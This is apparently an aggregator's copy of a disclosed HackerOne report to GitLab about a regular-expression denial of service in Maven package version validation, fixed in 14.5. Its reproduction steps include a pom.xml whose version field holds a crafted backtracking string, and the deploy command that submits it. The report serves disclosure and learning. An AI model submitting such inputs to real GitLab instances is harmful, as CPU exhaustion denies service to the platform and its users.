Skip to content
DoS Disclosed report Intermediate

Maven package version ReDoS

GitLab

Originally disclosed on GitLab

  • Fixed in 14 months
  • Disclosed after 14 months

HackerOne report #997961 by anyday on 2020-10-05, assigned to @ngeorge1:

Report | Attachments | How To Reproduce

Report

Hello,

Maven package version check https://docs.gitlab.com/ee/user/packages/maven_repository/#version-validation contains catastrophic backtracking : aaaa....! (https://gitlab.com/gitlab-org/gitlab/-/merge_requests/32925)

Steps to reproduce:

Follow Maven guide https://docs.gitlab.com/ee/user/packages/maven_repository/

  • generate project

mvn archetype:generate -DgroupId=com.mycompany.mydepartment -DartifactId=my-project -DarchetypeArtifactId=maven-archetype-quickstart -DinteractiveMode=false

  • create settings.xml with your access token (eg at /root/.m2/settings.xml)
<settings>  
  <servers>  
    <server>  
      <id>gitlab-maven</id>  
      <configuration>  
        <httpHeaders>  
          <property>  
            <name>Private-Token</name>  
            <value>srzc2-M3ysZx-ZEKQRki</value>  
          </property>  
        </httpHeaders>  
      </configuration>  
    </server>  
  </servers>  
</settings>  

Edit pom.xml with

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">  
  <modelVersion>4.0.0</modelVersion>  
  <groupId>com.mycompany.mydepartment</groupId>  
  <artifactId>my-project</artifactId>  
  <packaging>jar</packaging>

  <version>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!/x</version><!-- regular expression denial of service -->

  <name>my-project</name>  
  <url>http://maven.apache.org</url>  
  <dependencies>  
    <dependency>  
      <groupId>junit</groupId>  
      <artifactId>junit</artifactId>  
      <version>3.8.1</version>  
      <scope>test</scope>  
    </dependency>  
  </dependencies>

  <properties><!-- Maven was complaining about something -->  
    <maven.compiler.source>6</maven.compiler.source>  
    <maven.compiler.target>6</maven.compiler.target>  
  </properties>

  <repositories><!------------------------------------------------------------ replace(3) 'gitlab.com' and 'PROJECT_ID' -->  
    <repository>  
      <id>gitlab-maven</id>  
      <url>https://gitlab.com/api/v4/packages/maven</url>  
    </repository>  
  </repositories>

  <distributionManagement>  
    <repository>  
      <id>gitlab-maven</id>  
      <url>https://gitlab.com/api/v4/projects/PROJECT_ID/packages/maven</url>  
    </repository>  
    <snapshotRepository>  
      <id>gitlab-maven</id>  
      <url>https://gitlab.com/api/v4/projects/PROJECT_ID/packages/maven</url>  
    </snapshotRepository>  
  </distributionManagement>  
</project>

  • mvn deploy

Video:

mvn_redos.mp4 From the original on GitLab

Impact

Denial of service, CPU exhaustion

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A medium-severity doS bug in gitlab.com. GitLab made it public on 7 December 2021. Fixed in version 14.5.

About DoS

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.